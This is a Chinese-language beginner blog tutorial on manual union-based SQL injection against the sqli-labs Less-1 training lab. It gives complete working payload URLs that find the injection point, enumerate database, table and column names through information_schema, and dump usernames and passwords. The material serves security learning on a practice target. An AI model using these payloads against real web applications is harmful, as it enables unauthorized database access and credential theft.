sql注入新手入门 从实战讲解SQL注入(手动注入+MySQL+靶场源码)

资源放在下面,自取

https://blog.csdn.net/qq_45514735?spm=1011.2266.3001.5343

1、我们首先用小皮面板和sqli-labs靶场源码搭建一个环境

2、简单的注入讲解

打开第一关我们看看

        

 

1、寻找注入点

这里提示我们id参数有问题,尝试拼接url(其实第一关考验的就是get获取参数)

http://192.168.5.247/sqli-labs-master/Less-1/?id=1

 ok,界面返回账号密码,这说明网站对我们修改的数据做出回应了,但这是靶场设置的回显,实战环境当然不会有,在这里我们就可以怀疑参数id是不是一个注入点,接下来我们对他进行进一步测试

http://192.168.5.247/sqli-labs-master/Less-1/?id=1 union select 1 --+

         此处 

union:用于合并前后两个查询,要求字段相同

SQL UNION 操作符 | 菜鸟教程 (runoob.com)

select:数据库查询语句,1代表一个字段
因为没有后续查询,这玩意只会返回一个字段,内容为1
用来测试回显位置
--+:--代表了数据库的注释符,而‘+’在url中表示一个空格
因为我们输入的注入语句会作为sql语句的一部分拼接到正常的sql语句里面去
但是正常的参数后面跟着的查询会导致诸如语句出错,所以
--注释掉后面的会干扰注入语句的部分,提前闭合查询

但是却没有任何改变

 这是因为id=1的查询得到了结果,但是网站只返回第一个,所以我们要把id变成一个不存在的数

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1 --

依然没有结果

 别急,继续构造select字段

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1,2 --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1,2,3 --+

 为社么还是没有结果呢,我们查看一下源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

代码中的sql语句id两边有单引号,但是我们的注入语句没有单引号,这样的话整个语句就被视为参数了,我们在id后加一个 ‘ 试试

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,2,3  --+

 ok。成功获得回显,经过测试

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,2,3,4.....  --+

select后的字段只有三个,超过三就会报错了

到这里我们就成功找到注入点了,并且找到了闭合语句的方法

        2、爆破数据库

基础讲解,MySQL数据库里有一个专门存放数据库内其他库的表和列名的库
我们通过查询这个库来获得我们所需要的信息

	table_name:表名
	column_name:列名
	table_schema:数据库名
	information_schema.columns:存储列明信息的表
	information_schema.schemata:存储数据库和表名信息的表
	mysql中的符号“.“表示下一级
如:information_schema.tables:这个数据库下的表

        (1)获取数据库名

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3  --+
这里将字段2替换为获取数据库名的方法
database():这是数据库自带的函数,显示当前正在使用的数据库

得到数据库名为:security

(2)获取本数据库下的所有表

构造语句

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()  --+

这里 

group_concat():作用为将查到的多个值拼接成一个字符串,将返回值一次性输出
table_name:这个是information_schema数据库中tables 存放所有表信息的表名字的字段
where table_schema=database():因为数据库中可能存在重名表,所以在这里添加一个条件,限定数据库名为当前数据库

成功

 (3)获取表里的字段名(列名)

有上一步得到数据库内有 emails,referers,uagents,users这几个库,咱们以users表为例

构造语句:

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()  --+

此处

column_name:是information_schema库中存放列名的表columns中的表示字段的列
where table_name='users' and table_schema='security':
    这里为防止重名。除了加上数据库条件外,还要加上表名条件,这样就能确定唯一的表字段

 成功将所有字段一次性爆出 id,username,password

(4)获取表里的数据 

构造语句

一次性获取所有值(适合小数据库)

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users  --+

每次获取一个值

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users limit 0,1  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users limit 0,1  --+

limit 0,1
表示从第0个开始,获取一个结果

ok,到此为止就获取到这个靶场的所有数据了,靶场搭建和资源一会上传

请关注我获取后续教程

https://blog.csdn.net/qq_45514735?spm=1019.2139.3001.5343

链接:https://pan.baidu.com/s/1P9rfYJAShM5I7MEwMR4FmA 
提取码:ttzj

  • 5
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值